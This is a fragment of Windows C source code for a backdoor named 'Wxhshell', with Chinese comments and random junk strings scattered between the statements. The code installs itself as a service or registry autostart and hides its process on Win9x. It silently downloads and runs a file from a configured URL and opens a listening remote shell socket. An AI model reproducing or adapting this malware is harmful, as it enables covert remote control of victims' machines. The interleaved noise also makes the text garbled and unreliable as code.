-p~8=I l`<1Y| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]3Y J a =5;tB CloseHandle(hProcess); (O$il ";U#aK1p if(strstr(procName,"services")) return 1; // 以服务启动 ]iYO}JuX G]n_RP$G return 0; // 注册表启动 6r.#/' " } _)S['[ Q ~f mVWq // 主模块 $@HW|Y int StartWxhshell(LPSTR lpCmdLine) 9$#@Oe8* {
^o87qr0g] SOCKET wsl; JT! Cb$! BOOL val=TRUE; [XhG7Ly int port=0; 5gSe=|we*p struct sockaddr_in door; Ay6]vU E?0Vo%Vh if(wscfg.ws_autoins) Install(); P0/Ctke; BJgHel+N port=atoi(lpCmdLine); - -\eYVh[ \1O
wZ@ if(port<=0) port=wscfg.ws_port; -asjBSo*D -W{ !`<8D WSADATA data; VXnWY8\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9vP#/ -g kni{1Gr if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; QM'|k6 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pm]lr|Q{I door.sin_family = AF_INET; h0
Xc=nj door.sin_addr.s_addr = inet_addr("127.0.0.1"); p}Um+I=1 door.sin_port = htons(port); PpLiH9} l{gR6U{e if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^3ai}Ei3 closesocket(wsl); u+O"c return 1; "A*;V } 2Ab`i!# h$XoR0 if(listen(wsl,2) == INVALID_SOCKET) { 6!HYx closesocket(wsl); nsM.`s@V return 1; *a^wYWa } <MKXFV Wxhshell(wsl); au]W*;x WSACleanup(); IML.6<,(Z 3 Q~0b+k return 0; ($Op*bR d)3jkHYEjj } (-],VB
(+ kxR!hA8wv4 // 以NT服务方式启动 F|G v VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +,g!xv4Q { K^h9\<w DWORD status = 0; \<hHZS DWORD specificError = 0xfffffff; MJ$.ST vw$b]MO! serviceStatus.dwServiceType = SERVICE_WIN32; ^ p7z3ng serviceStatus.dwCurrentState = SERVICE_START_PENDING; -Mf-8zw8G serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]a`"O serviceStatus.dwWin32ExitCode = 0; (! 8y~n1 serviceStatus.dwServiceSpecificExitCode = 0; F-F1^$]k serviceStatus.dwCheckPoint = 0; 3ZbqZ"rE serviceStatus.dwWaitHint = 0; ,:#h;4!VRF )w5!'W4Z8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kT]jJbb" if (hServiceStatusHandle==0) return; m?gGFxo ,@fx[5{ status = GetLastError(); R!
n7g8I% if (status!=NO_ERROR) VT-%o7%N { jo1z#!|Yw} serviceStatus.dwCurrentState = SERVICE_STOPPED; XwfR/4 serviceStatus.dwCheckPoint = 0; c[V.j+Iy#^ serviceStatus.dwWaitHint = 0; ?~IdPSY serviceStatus.dwWin32ExitCode = status; >JA>np serviceStatus.dwServiceSpecificExitCode = specificError; S&.xgBR SetServiceStatus(hServiceStatusHandle, &serviceStatus); y>:U&P^ return; 7z$bCO L=S } [c -|`d^ H}lz_#Z serviceStatus.dwCurrentState = SERVICE_RUNNING; ji\&?%(B serviceStatus.dwCheckPoint = 0; y(/5l serviceStatus.dwWaitHint = 0; (74y2U6 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B'mUDW8\D } H |7XfM +sTPTCLE // 处理NT服务事件,比如:启动、停止 W8Wjq
DQ VOID WINAPI NTServiceHandler(DWORD fdwControl) Q1{9>NI { WMW=RgiW\ switch(fdwControl) SSbx[<E3 { ,j9? 9Z7R case SERVICE_CONTROL_STOP: kma>'P`G serviceStatus.dwWin32ExitCode = 0; >)u{%@Rcy{ serviceStatus.dwCurrentState = SERVICE_STOPPED; m>F:dI serviceStatus.dwCheckPoint = 0; r&Qa;-4Pl serviceStatus.dwWaitHint = 0; )m[<lJbw { e2K9CE.O SetServiceStatus(hServiceStatusHandle, &serviceStatus); X$@qs9?)^ } 3IjsV5a return; +V9xKhR;x case SERVICE_CONTROL_PAUSE: #6~Bg)7AM serviceStatus.dwCurrentState = SERVICE_PAUSED; Jf0i$ break; q9PjQ% case SERVICE_CONTROL_CONTINUE: GKOl{och serviceStatus.dwCurrentState = SERVICE_RUNNING; fBh/$ break; @HSK[[? case SERVICE_CONTROL_INTERROGATE: U* c'xoP break; fLd2{jI, }; I.(@#v7T SetServiceStatus(hServiceStatusHandle, &serviceStatus); GD'Z"rhI } tZVs0eVF< q_ryW$/_ // 标准应用程序主函数 1X`,7B@pz int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lN8l71N^ { >p0,]-.J,r $+ N~Fa // 获取操作系统版本 B"\9sl X OsIsNt=GetOsVer(); ]NI
CQ9 GetModuleFileName(NULL,ExeFile,MAX_PATH); W}2!~ep! T9!NuKfur // 从命令行安装 ~Hv>^u
Mh if(strpbrk(lpCmdLine,"iI")) Install(); _Gaem"k| r\FZ-gk}Q // 下载执行文件 dLF*'JjY if(wscfg.ws_downexe) { =au!rda if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >3ZhPvE-p' WinExec(wscfg.ws_filenam,SW_HIDE); Iz'Et'w8! } @iXBy:@ DpQWh+WRy if(!OsIsNt) { `4X.UPJ // 如果时win9x,隐藏进程并且设置为注册表启动 6>;OVX HideProc(); 4[JF.O6} StartWxhshell(lpCmdLine); H?M:<q0|G } MP<]-M'|< else nCp_RJu if(StartFromService()) `?WN*__[" // 以服务方式启动 }{=}^c"t' StartServiceCtrlDispatcher(DispatchTable); X%&7-PO else 6OAEAIh // 普通方式启动 @1gURx&2_ StartWxhshell(lpCmdLine); :8@eon} Fj2z$ return 0; G!=(^G@J; }
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